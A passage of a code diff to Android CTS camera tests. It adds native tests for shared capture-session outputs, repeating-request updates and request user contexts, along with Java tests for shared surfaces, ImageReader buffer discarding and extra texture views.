+ ret = ACameraCaptureSession_setRepeatingRequest(
+ mSession, nullptr, 1, &mPreviewRequest, &previewSeqId);
+ } else {
+ ret = ACameraCaptureSession_setRepeatingRequest(
+ mSession, &mResultCb, 1, &mPreviewRequest, sequenceId);
+ }
+ return ret;
+ }
+
+ camera_status_t updateRepeatingRequest(ACaptureRequest *updatedRequest,
+ int *sequenceId = nullptr) {
+ if (mSession == nullptr || updatedRequest == nullptr) {
+ ALOGE("Testcase cannot update repeating request: session %p, updated request %p",
+ mSession, updatedRequest);
+ return ACAMERA_ERROR_UNKNOWN;
+ }
+
+ int previewSeqId;
+ camera_status_t ret;
+ if (sequenceId == nullptr) {
+ ret = ACameraCaptureSession_setRepeatingRequest(
+ mSession, nullptr, 1, &updatedRequest, &previewSeqId);
+ } else {
+ ret = ACameraCaptureSession_setRepeatingRequest(
+ mSession, &mResultCb, 1, &updatedRequest, sequenceId);
+ }
+ return ret;
+ }
+
+ int64_t getCaptureSequenceLastFrameNumber(int64_t sequenceId, uint32_t timeoutSec) {
+ return mResultListener.getCaptureSequenceLastFrameNumber(sequenceId, timeoutSec);
+ }
+
+ bool waitForFrameNumber(int64_t frameNumber, uint32_t timeoutSec) {
+ return mResultListener.waitForFrameNumber(frameNumber, timeoutSec);
}
camera_status_t takePicture() {
@@ -765,6 +995,18 @@
mSession, nullptr, 1, &mStillRequest, &seqId);
}
+ camera_status_t capture(ACaptureRequest* request,
+ ACameraCaptureSession_captureCallbacks* listener,
+ /*out*/int* seqId) {
+ if (mSession == nullptr || request == nullptr) {
+ ALOGE("Testcase cannot capture session: session %p, request %p",
+ mSession, request);
+ return ACAMERA_ERROR_UNKNOWN;
+ }
+ return ACameraCaptureSession_capture(
+ mSession, listener, 1, &request, seqId);
+ }
+
camera_status_t resetWithErrorLog() {
camera_status_t ret;
@@ -785,6 +1027,7 @@
return ACAMERA_ERROR_UNKNOWN;
}
mSessionListener.reset();
+ mResultListener.reset();
ret = closeCamera();
if (ret != ACAMERA_OK) {
@@ -800,6 +1043,14 @@
return &mSessionListener;
}
+ ACameraDevice* getCameraDevice() {
+ return mDevice;
+ }
+
+ ACaptureSessionOutput *getPreviewOutput() {
+ return mPreviewOutput;
+ }
+
private:
ACameraManager* createManager() {
if (!mCameraManager) {
@@ -828,6 +1079,18 @@
CaptureSessionListener::onActive
};
+ CaptureResultListener mResultListener;
+ ACameraCaptureSession_captureCallbacks mResultCb {
+ &mResultListener,
+ CaptureResultListener::onCaptureStart,
+ CaptureResultListener::onCaptureProgressed,
+ CaptureResultListener::onCaptureCompleted,
+ CaptureResultListener::onCaptureFailed,
+ CaptureResultListener::onCaptureSequenceCompleted,
+ CaptureResultListener::onCaptureSequenceAborted,
+ CaptureResultListener::onCaptureBufferLost
+ };
+
ACameraIdList* mCameraIdList = nullptr;
ACameraDevice* mDevice = nullptr;
AImageReader* mImgReader = nullptr;
@@ -1241,6 +1504,34 @@
}
}
+ void* context = nullptr;
+ ret = ACaptureRequest_getUserContext(request, &context);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Get capture request context failed: ret %d", ret);
+ goto cleanup;
+ }
+ if (context != nullptr) {
+ LOG_ERROR(errorString, "Capture request context is not null: %p", context);
+ goto cleanup;
+ }
+
+ intptr_t magic_num = 0xBEEF;
+ ret = ACaptureRequest_setUserContext(request, (void*) magic_num);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Set capture request context failed: ret %d", ret);
+ goto cleanup;
+ }
+
+ ret = ACaptureRequest_getUserContext(request, &context);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Get capture request context failed: ret %d", ret);
+ goto cleanup;
+ }
+ if (context != (void*) magic_num) {
+ LOG_ERROR(errorString, "Capture request context is wrong: %p", context);
+ goto cleanup;
+ }
+
// try get/set capture request fields
ACameraMetadata_const_entry entry;
ret = ACaptureRequest_getConstEntry(request, ACAMERA_CONTROL_AE_MODE, &entry);
@@ -1483,6 +1774,263 @@
extern "C" jboolean
Java_android_hardware_camera2_cts_NativeCameraDeviceTest_\
+testCameraDeviceSharedOutputUpdate(
+ JNIEnv* env, jclass /*clazz*/, jobject jPreviewSurface, jobject jSharedSurface) {
+ ALOGV("%s", __FUNCTION__);
+ int numCameras = 0;
+ bool pass = false;
+ PreviewTestCase testCase;
+ int sequenceId = -1;
+ int64_t lastFrameNumber = 0;
+ bool frameArrived = false;
+ ANativeWindow* previewAnw = nullptr;
+ ANativeWindow* sharedAnw = ANativeWindow_fromSurface(env, jSharedSurface);
+ ACaptureRequest* updatedRequest = nullptr;
+ ACameraOutputTarget* reqPreviewOutput = nullptr;
+ ACameraOutputTarget* reqSharedOutput = nullptr;
+ ACaptureSessionOutput *previewOutput = nullptr;
+ uint32_t timeoutSec = 1;
+ uint32_t runPreviewSec = 2;
+
+ camera_status_t ret = testCase.initWithErrorLog();
+ if (ret != ACAMERA_OK) {
+ // Don't log error here. testcase did it
+ goto cleanup;
+ }
+
+ numCameras = testCase.getNumCameras();
+ if (numCameras < 0) {
+ LOG_ERROR(errorString, "Testcase returned negavtive number of cameras: %d", numCameras);
+ goto cleanup;
+ }
+
+ for (int i = 0; i < numCameras; i++) {
+ const char* cameraId = testCase.getCameraId(i);
+ if (cameraId == nullptr) {
+ LOG_ERROR(errorString, "Testcase returned null camera id for camera %d", i);
+ goto cleanup;
+ }
+
+ ret = testCase.openCamera(cameraId);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Open camera device %s failure. ret %d", cameraId, ret);
+ goto cleanup;
+ }
+
+ usleep(100000); // sleep to give some time for callbacks to happen
+
+ if (testCase.isCameraAvailable(cameraId)) {
+ LOG_ERROR(errorString, "Camera %s should be unavailable now", cameraId);
+ goto cleanup;
+ }
+
+ previewAnw = testCase.initPreviewAnw(env, jPreviewSurface);
+ if (previewAnw == nullptr) {
+ LOG_ERROR(errorString, "Null ANW from preview surface!");
+ goto cleanup;
+ }
+
+ ret = testCase.createCaptureSessionWithLog(true);
+ if (ret != ACAMERA_OK) {
+ // Don't log error here. testcase did it
+ goto cleanup;
+ }
+
+ ret = testCase.createRequestsWithErrorLog();
+ if (ret != ACAMERA_OK) {
+ // Don't log error here. testcase did it
+ goto cleanup;
+ }
+
+ ret = testCase.startPreview();
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Start preview failed!");
+ goto cleanup;
+ }
+
+ sleep(runPreviewSec);
+
+ previewOutput = testCase.getPreviewOutput();
+ //Try some bad input
+ ret = ACaptureSessionSharedOutput_add(previewOutput, previewAnw);
+ if (ret != ACAMERA_ERROR_INVALID_PARAMETER) {
+ LOG_ERROR(errorString, "ACaptureSessionSharedOutput_add should return invalid "
+ "parameter! %d", ret);
+ goto cleanup;
+ }
+
+ ret = ACaptureSessionSharedOutput_remove(previewOutput, previewAnw);
+ if (ret != ACAMERA_ERROR_INVALID_PARAMETER) {
+ LOG_ERROR(errorString, "ACaptureSessionSharedOutput_remove should return invalid "
+ "parameter! %d", ret);
+ goto cleanup;
+ }
+
+ //Now try with valid input
+ ret = ACaptureSessionSharedOutput_add(previewOutput, sharedAnw);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "ACaptureSessionSharedOutput_add failed!")
+ goto cleanup;
+ }
+
+ ret = testCase.updateOutput(env, previewOutput);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Failed to update output configuration!")
+ goto cleanup;
+ }
+
+ ret = ACameraDevice_createCaptureRequest(
+ testCase.getCameraDevice(), TEMPLATE_PREVIEW, &updatedRequest);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Camera %s create preview request failed. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ ret = ACameraOutputTarget_create(previewAnw, &reqPreviewOutput);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString,
+ "Camera %s create request preview output target failed. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ ret = ACaptureRequest_addTarget(updatedRequest, reqPreviewOutput);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Camera %s add preview request output failed. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ ret = ACameraOutputTarget_create(sharedAnw, &reqSharedOutput);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString,
+ "Camera %s create request preview output target failed. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ ret = ACaptureRequest_addTarget(updatedRequest, reqSharedOutput);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Camera %s add preview request output failed. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ ret = testCase.updateRepeatingRequest(updatedRequest, &sequenceId);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Camera %s failed to update repeated request. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ sleep(runPreviewSec);
+
+ ret = ACaptureSessionSharedOutput_remove(previewOutput, sharedAnw);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "ACaptureSessionSharedOutput_remove failed!");
+ goto cleanup;
+ }
+
+ //Try removing shared output which still has pending camera requests
+ ret = testCase.updateOutput(env, previewOutput);
+ if (ret != ACAMERA_ERROR_INVALID_PARAMETER) {
+ LOG_ERROR(errorString, "updateOutput should fail!");
+ goto cleanup;
+ }
+
+ //Remove the shared output correctly by updating the repeating request
+ //first
+ ret = ACaptureRequest_removeTarget(updatedRequest, reqSharedOutput);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Camera %s remove target output failed. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ ret = testCase.updateRepeatingRequest(updatedRequest);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Camera %s failed to update repeated request. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ //Then wait for all old requests to flush
+ lastFrameNumber = testCase.getCaptureSequenceLastFrameNumber(sequenceId, timeoutSec);
+ if (lastFrameNumber < 0) {
+ LOG_ERROR(errorString, "Camera %s failed to acquire last frame number!",
+ cameraId);
+ goto cleanup;
+ }
+
+ frameArrived = testCase.waitForFrameNumber(lastFrameNumber, timeoutSec);
+ if (!frameArrived) {
+ LOG_ERROR(errorString, "Camera %s timed out waiting on last frame number!",
+ cameraId);
+ goto cleanup;
+ }
+
+ ret = testCase.updateOutput(env, previewOutput);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "updateOutput failed!");
+ goto cleanup;
+ }
+
+ sleep(runPreviewSec);
+
+ ret = testCase.resetWithErrorLog();
+ if (ret != ACAMERA_OK) {
+ // Don't log error here. testcase did it
+ goto cleanup;
+ }
+
+ usleep(100000); // sleep to give some time for callbacks to happen
+
+ if (!testCase.isCameraAvailable(cameraId)) {
+ LOG_ERROR(errorString, "Camera %s should be available now", cameraId);
+ goto cleanup;
+ }
+ }
+
+ ret = testCase.deInit();
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Testcase deInit failed: ret %d", ret);
+ goto cleanup;
+ }
+
+ pass = true;
+
+cleanup:
+
+ if (updatedRequest != nullptr) {
+ ACaptureRequest_free(updatedRequest);
+ updatedRequest = nullptr;
+ }
+
+ if (reqPreviewOutput != nullptr) {
+ ACameraOutputTarget_free(reqPreviewOutput);
+ reqPreviewOutput = nullptr;
+ }
+
+ if (reqSharedOutput != nullptr) {
+ ACameraOutputTarget_free(reqSharedOutput);
+ reqSharedOutput = nullptr;
+ }
+
+ if (sharedAnw) {
+ ANativeWindow_release(sharedAnw);
+ sharedAnw = nullptr;
+ }
+
+ ALOGI("%s %s", __FUNCTION__, pass ? "pass" : "failed");
+ if (!pass) {
+ throwAssertionError(env, errorString);
+ }
+ return pass;
+}
+
+extern "C" jboolean
+Java_android_hardware_camera2_cts_NativeCameraDeviceTest_\
testCameraDeviceSimplePreviewNative(
JNIEnv* env, jclass /*clazz*/, jobject jPreviewSurface) {
ALOGV("%s", __FUNCTION__);
@@ -1649,14 +2197,68 @@
goto cleanup;
}
+ CaptureResultListener resultListener;
+ ACameraCaptureSession_captureCallbacks resultCb {
+ &resultListener,
+ CaptureResultListener::onCaptureStart,
+ CaptureResultListener::onCaptureProgressed,
+ CaptureResultListener::onCaptureCompleted,
+ CaptureResultListener::onCaptureFailed,
+ CaptureResultListener::onCaptureSequenceCompleted,
+ CaptureResultListener::onCaptureSequenceAborted,
+ CaptureResultListener::onCaptureBufferLost
+ };
+ resultListener.setRequestSave(true);
+ ACaptureRequest* requestTemplate = nullptr;
+ ret = testCase.getStillRequest(&requestTemplate);
+ if (ret != ACAMERA_OK || requestTemplate == nullptr) {
+ // Don't log error here. testcase did it
+ goto cleanup;
+ }
+
// Do some still capture
- for (int capture = 0; capture < NUM_TEST_IMAGES; capture++) {
- ret = testCase.takePicture();
+ int lastSeqId = -1;
+ for (intptr_t capture = 0; capture < NUM_TEST_IMAGES; capture++) {
+ ACaptureRequest* req = ACaptureRequest_copy(requestTemplate);
+ ACaptureRequest_setUserContext(req, (void*) capture);
+ int seqId;
+ ret = testCase.capture(req, &resultCb, &seqId);
if (ret != ACAMERA_OK) {
- LOG_ERROR(errorString, "Camera %s capture(%d) failed. ret %d",
+ LOG_ERROR(errorString, "Camera %s capture(%" PRIdPTR ") failed. ret %d",
cameraId, capture, ret);
goto cleanup;
}
+ if (capture == NUM_TEST_IMAGES - 1) {
+ lastSeqId = seqId;
+ }
+ ACaptureRequest_free(req);
+ }
+
+ // wait until last sequence complete
+ resultListener.getCaptureSequenceLastFrameNumber(lastSeqId, /*timeoutSec*/ 3);
+
+ std::vector<ACaptureRequest*> completedRequests;
+ resultListener.getCompletedRequests(&completedRequests);
+
+ if (completedRequests.size() != NUM_TEST_IMAGES) {
+ LOG_ERROR(errorString, "Camera %s fails to capture %d capture results. Got %zu",
+ cameraId, NUM_TEST_IMAGES, completedRequests.size());
+ goto cleanup;
+ }
+
+ for (intptr_t i = 0; i < NUM_TEST_IMAGES; i++) {
+ intptr_t userContext = -1;
+ ret = ACaptureRequest_getUserContext(completedRequests[i], (void**) &userContext);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Camera %s fails to get request user context", cameraId);
+ goto cleanup;
+ }
+
+ if (userContext != i) {
+ LOG_ERROR(errorString, "Camera %s fails to return matching user context. "
+ "Expect %" PRIdPTR ", got %" PRIdPTR, cameraId, i, userContext);
+ goto cleanup;
+ }
}
// wait until all capture finished
diff --git a/tests/camera/res/layout/multi_view.xml b/tests/camera/res/layout/multi_view.xml
index 4f335d3..e7c5508 100644
--- a/tests/camera/res/layout/multi_view.xml
+++ b/tests/camera/res/layout/multi_view.xml
@@ -29,6 +29,18 @@
android:id="@+id/texture_view_2"
android:layout_width="160dp"
android:layout_height="120dp"/>
+ <TextureView
+ android:id="@+id/texture_view_3"
+ android:layout_width="160dp"
+ android:layout_height="120dp"/>
+ <TextureView
+ android:id="@+id/texture_view_4"
+ android:layout_width="160dp"
+ android:layout_height="120dp"/>
+ <TextureView
+ android:id="@+id/texture_view_5"
+ android:layout_width="160dp"
+ android:layout_height="120dp"/>
<SurfaceView
android:id="@+id/surface_view_1"
android:layout_width="160dp"
diff --git a/tests/camera/src/android/hardware/camera2/cts/Camera2MultiViewCtsActivity.java b/tests/camera/src/android/hardware/camera2/cts/Camera2MultiViewCtsActivity.java
index d6350fc..1f4265d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/Camera2MultiViewCtsActivity.java
+++ b/tests/camera/src/android/hardware/camera2/cts/Camera2MultiViewCtsActivity.java
@@ -27,7 +27,8 @@
public class Camera2MultiViewCtsActivity extends Activity {
private final static String TAG = "Camera2MultiViewCtsActivity";
- private TextureView[] mTextureView = new TextureView[2];
+ public final static int MAX_TEXTURE_VIEWS = 5;
+ private TextureView[] mTextureView = new TextureView[MAX_TEXTURE_VIEWS];
private SurfaceView[] mSurfaceView = new SurfaceView[2];
@Override
@@ -36,6 +37,9 @@
setContentView(R.layout.multi_view);
mTextureView[0] = (TextureView) findViewById(R.id.texture_view_1);
mTextureView[1] = (TextureView) findViewById(R.id.texture_view_2);
+ mTextureView[2] = (TextureView) findViewById(R.id.texture_view_3);
+ mTextureView[3] = (TextureView) findViewById(R.id.texture_view_4);
+ mTextureView[4] = (TextureView) findViewById(R.id.texture_view_5);
mSurfaceView[0] = (SurfaceView) findViewById(R.id.surface_view_1);
mSurfaceView[1] = (SurfaceView) findViewById(R.id.surface_view_2);
@@ -44,8 +48,9 @@
}
public TextureView getTextureView(int index) {
- if (index < 0 || index > 1) {
- throw new IllegalArgumentException("Texture view index must be 0 or 1");
+ if (index < 0 || index > (MAX_TEXTURE_VIEWS - 1)) {
+ throw new IllegalArgumentException("Texture view index must be between 0 and " +
+ MAX_TEXTURE_VIEWS);
}
return mTextureView[index];
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
index b29fd57..3857b93 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
@@ -535,6 +535,10 @@
waiverKeys.add(CaptureResult.CONTROL_ENABLE_ZSL);
}
+ if (!mStaticInfo.isAfSceneChangeSupported()) {
+ waiverKeys.add(CaptureResult.CONTROL_AF_SCENE_CHANGE);
+ }
+
if (mStaticInfo.isHardwareLevelAtLeastFull()) {
return waiverKeys;
}
@@ -770,6 +774,7 @@
resultKeys.add(CaptureResult.CONTROL_AWB_STATE);
resultKeys.add(CaptureResult.CONTROL_POST_RAW_SENSITIVITY_BOOST);
resultKeys.add(CaptureResult.CONTROL_ENABLE_ZSL);
+ resultKeys.add(CaptureResult.CONTROL_AF_SCENE_CHANGE);
resultKeys.add(CaptureResult.EDGE_MODE);
resultKeys.add(CaptureResult.FLASH_MODE);
resultKeys.add(CaptureResult.FLASH_STATE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index bd01d21..96f363c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -553,6 +553,21 @@
}
/**
+ * Test that images captured after discarding free buffers are valid.
+ */
+ public void testDiscardFreeBuffers() throws Exception {
+ for (String id : mCameraIds) {
+ try {
+ Log.v(TAG, "Testing jpeg capture for Camera " + id);
+ openDevice(id);
+ discardFreeBuffersTestByCamera();
+ } finally {
+ closeDevice(id);
+ }
+ }
+ }
+
+ /**
* Convert a rectangular patch in a YUV image to an ARGB color array.
*
* @param w width of the patch.
@@ -762,6 +777,38 @@
imageInvalidAccessTestAfterClose(img, firstPlane, buffer);
}
+ /**
+ * Test that images captured after discarding free buffers are valid.
+ */
+ private void discardFreeBuffersTestByCamera() throws Exception {
+ final int FORMAT = mStaticInfo.isColorOutputSupported() ?
+ ImageFormat.YUV_420_888 : ImageFormat.DEPTH16;
+
+ final Size SIZE = mStaticInfo.getAvailableSizesForFormatChecked(FORMAT,
+ StaticMetadata.StreamDirection.Output)[0];
+ Image img = null;
+ // Create ImageReader.
+ mListener = new SimpleImageListener();
+ createDefaultImageReader(SIZE, FORMAT, MAX_NUM_IMAGES, mListener);
+
+ // Start capture.
+ final boolean REPEATING = true;
+ CaptureRequest request = prepareCaptureRequest();
+ SimpleCaptureCallback listener = new SimpleCaptureCallback();
+ startCapture(request, REPEATING, listener, mHandler);
+
+ // Validate images and capture results.
+ validateImage(SIZE, FORMAT, NUM_FRAME_VERIFIED, REPEATING);
+ validateCaptureResult(FORMAT, SIZE, listener, NUM_FRAME_VERIFIED);
+
+ // Discard free buffers.
+ mReader.discardFreeBuffers();
+
+ // Validate images and capture resulst again.
+ validateImage(SIZE, FORMAT, NUM_FRAME_VERIFIED, REPEATING);
+ validateCaptureResult(FORMAT, SIZE, listener, NUM_FRAME_VERIFIED);
+ }
+
private void bufferFormatTestByCamera(int format, boolean repeating) throws Exception {
Size[] availableSizes = mStaticInfo.getAvailableSizesForFormatChecked(format,
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index 265729d..e9eac65 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -21,13 +21,19 @@
import android.graphics.ImageFormat;
import android.graphics.SurfaceTexture;
import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraAccessException;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.CaptureFailure;
+import android.hardware.camera2.TotalCaptureResult;
import android.hardware.camera2.cts.CameraTestUtils.ImageVerifierListener;
import android.hardware.camera2.cts.helpers.StaticMetadata;
import android.hardware.camera2.cts.testcases.Camera2MultiViewTestCase;
import android.hardware.camera2.cts.testcases.Camera2MultiViewTestCase.CameraPreviewListener;
import android.hardware.camera2.params.OutputConfiguration;
+import android.media.Image;
import android.media.ImageReader;
import android.os.SystemClock;
+import android.os.ConditionVariable;
import android.util.Log;
import android.util.Size;
import android.view.Surface;
@@ -44,8 +50,10 @@
*/
public class MultiViewTest extends Camera2MultiViewTestCase {
private static final String TAG = "MultiViewTest";
- private final static long WAIT_FOR_COMMAND_TO_COMPLETE = 2000;
+ private final static long WAIT_FOR_COMMAND_TO_COMPLETE = 5000; //ms
private final static long PREVIEW_TIME_MS = 2000;
+ private final static int NUM_SURFACE_SWITCHES = 10;
+ private final static int IMG_READER_COUNT = 2;
public void testTextureViewPreview() throws Exception {
for (String cameraId : mCameraIds) {
@@ -235,6 +243,473 @@
}
/*
+ * Verify dynamic shared surface behavior.
+ */
+ public void testSharedSurfaceBasic() throws Exception {
+ for (String cameraId : mCameraIds) {
+ try {
+ openCamera(cameraId);
+ if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
+ Log.i(TAG, "Camera " + cameraId + " is legacy, skipping");
+ continue;
+ }
+ if (!getStaticInfo(cameraId).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + cameraId +
+ " does not support color outputs, skipping");
+ continue;
+ }
+
+ testSharedSurfaceBasicByCamera(cameraId);
+ }
+ finally {
+ closeCamera(cameraId);
+ }
+ }
+ }
+
+ private void testSharedSurfaceBasicByCamera(String cameraId) throws Exception {
+ Size previewSize = getOrderedPreviewSizes(cameraId).get(0);
+ CameraPreviewListener[] previewListener = new CameraPreviewListener[2];
+ SurfaceTexture[] previewTexture = new SurfaceTexture[2];
+ Surface[] surfaces = new Surface[2];
+ OutputConfiguration[] outputConfigs = new OutputConfiguration[2];
+ List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+
+ // Create surface textures with the same size
+ for (int i = 0; i < 2; i++) {
+ previewListener[i] = new CameraPreviewListener();
+ mTextureView[i].setSurfaceTextureListener(previewListener[i]);
+ previewTexture[i] = getAvailableSurfaceTexture(
+ WAIT_FOR_COMMAND_TO_COMPLETE, mTextureView[i]);
+ assertNotNull("Unable to get preview surface texture", previewTexture[i]);
+ previewTexture[i].setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+ // Correct the preview display rotation.
+ updatePreviewDisplayRotation(previewSize, mTextureView[i]);
+ surfaces[i] = new Surface(previewTexture[i]);
+ outputConfigs[i] = new OutputConfiguration(surfaces[i]);
+ outputConfigs[i].enableSurfaceSharing();
+ outputConfigurations.add(outputConfigs[i]);
+ }
+
+ startPreviewWithConfigs(cameraId, outputConfigurations, null);
+
+ boolean previewDone =
+ previewListener[0].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+ assertTrue("Unable to start preview", previewDone);
+
+ //try to dynamically add and remove any of the initial configured outputs
+ try {
+ outputConfigs[1].addSurface(surfaces[0]);
+ updateOutputConfiguration(cameraId, outputConfigs[1]);
+ fail("should get IllegalArgumentException due to invalid output");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ outputConfigs[1].removeSurface(surfaces[0]);
+ }
+
+ try {
+ outputConfigs[1].removeSurface(surfaces[1]);
+ fail("should get IllegalArgumentException due to invalid output");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ }
+
+ try {
+ outputConfigs[0].addSurface(surfaces[1]);
+ updateOutputConfiguration(cameraId, outputConfigs[0]);
+ fail("should get IllegalArgumentException due to invalid output");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ outputConfigs[0].removeSurface(surfaces[1]);
+ }
+
+ try {
+ outputConfigs[0].removeSurface(surfaces[0]);
+ fail("should get IllegalArgumentException due to invalid output");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ }
+
+ //Check that we are able to add a shared texture surface with different size
+ List<Size> orderedPreviewSizes = getOrderedPreviewSizes(cameraId);
+ Size textureSize = previewSize;
+ for (Size s : orderedPreviewSizes) {
+ if (!s.equals(previewSize)) {
+ textureSize = s;
+ break;
+ }
+ }
+ if (textureSize.equals(previewSize)) {
+ return;
+ }
+ SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID*/ 5);
+ outputTexture.setDefaultBufferSize(textureSize.getWidth(), textureSize.getHeight());
+ Surface outputSurface = new Surface(outputTexture);
+ //Add a valid output surface and then verify that it cannot be added any more
+ outputConfigs[1].addSurface(outputSurface);
+ updateOutputConfiguration(cameraId, outputConfigs[1]);
+ try {
+ outputConfigs[1].addSurface(outputSurface);
+ fail("should get IllegalStateException due to duplicate output");
+ } catch (IllegalStateException e) {
+ // expected exception
+ }
+
+ outputConfigs[0].addSurface(outputSurface);
+ try {
+ updateOutputConfiguration(cameraId, outputConfigs[0]);
+ fail("should get IllegalArgumentException due to duplicate output");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ outputConfigs[0].removeSurface(outputSurface);
+ }
+
+ //Verify that the same surface cannot be removed twice
+ outputConfigs[1].removeSurface(outputSurface);
+ updateOutputConfiguration(cameraId, outputConfigs[1]);
+ try {
+ outputConfigs[0].removeSurface(outputSurface);
+ fail("should get IllegalArgumentException due to invalid output");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ }
+ try {
+ outputConfigs[1].removeSurface(outputSurface);
+ fail("should get IllegalArgumentException due to invalid output");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ }
+
+ stopPreview(cameraId);
+ }
+
+ /*
+ * Verify dynamic shared surface behavior using multiple ImageReaders.
+ */
+ public void testSharedSurfaceImageReaderSwitch() throws Exception {
+ for (String cameraId : mCameraIds) {
+ try {
+ openCamera(cameraId);
+ if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
+ Log.i(TAG, "Camera " + cameraId + " is legacy, skipping");
+ continue;
+ }
+ if (!getStaticInfo(cameraId).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + cameraId +
+ " does not support color outputs, skipping");
+ continue;
+ }
+
+ testSharedSurfaceImageReaderSwitch(cameraId, NUM_SURFACE_SWITCHES);
+ }
+ finally {
+ closeCamera(cameraId);
+ }
+ }
+ }
+
+ private void testSharedSurfaceImageReaderSwitch(String cameraId, int switchCount)
+ throws Exception {
+ if (OutputConfiguration.getMaxSharedSurfaceCount() < (IMG_READER_COUNT + 1)) {
+ return;
+ }
+
+ SimpleImageListener imageListeners[] = new SimpleImageListener[IMG_READER_COUNT];
+ SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+ ImageReader imageReaders[] = new ImageReader[IMG_READER_COUNT];
+ Surface readerSurfaces[] = new Surface[IMG_READER_COUNT];
+ Size previewSize = getOrderedPreviewSizes(cameraId).get(0);
+ CameraPreviewListener previewListener = new CameraPreviewListener();
+ mTextureView[0].setSurfaceTextureListener(previewListener);
+ SurfaceTexture previewTexture = getAvailableSurfaceTexture(WAIT_FOR_COMMAND_TO_COMPLETE,
+ mTextureView[0]);
+ assertNotNull("Unable to get preview surface texture", previewTexture);
+ previewTexture.setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+ updatePreviewDisplayRotation(previewSize, mTextureView[0]);
+ Surface previewSurface = new Surface(previewTexture);
+ OutputConfiguration outputConfig = new OutputConfiguration(previewSurface);
+ outputConfig.enableSurfaceSharing();
+ List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+ outputConfigurations.add(outputConfig);
+
+ //Start regular preview streaming
+ startPreviewWithConfigs(cameraId, outputConfigurations, null);
+
+ boolean previewDone = previewListener.waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+ assertTrue("Unable to start preview", previewDone);
+
+ //Test shared image reader outputs
+ for (int i = 0; i < IMG_READER_COUNT; i++) {
+ imageListeners[i] = new SimpleImageListener();
+ imageReaders[i] = ImageReader.newInstance(previewSize.getWidth(),
+ previewSize.getHeight(), ImageFormat.PRIVATE, 2);
+ imageReaders[i].setOnImageAvailableListener(imageListeners[i], mHandler);
+ readerSurfaces[i] = imageReaders[i].getSurface();
+ }
+
+ for (int j = 0; j < switchCount; j++) {
+ for (int i = 0; i < IMG_READER_COUNT; i++) {
+ outputConfig.addSurface(readerSurfaces[i]);
+ updateOutputConfiguration(cameraId, outputConfig);
+ CaptureRequest.Builder imageReaderRequestBuilder = getCaptureBuilder(cameraId,
+ CameraDevice.TEMPLATE_PREVIEW);
+ imageReaderRequestBuilder.addTarget(readerSurfaces[i]);
+ capture(cameraId, imageReaderRequestBuilder.build(), resultListener);
+ imageListeners[i].waitForAnyImageAvailable(PREVIEW_TIME_MS);
+ Image img = imageReaders[i].acquireLatestImage();
+ assertNotNull("Invalid image acquired!", img);
+ img.close();
+ outputConfig.removeSurface(readerSurfaces[i]);
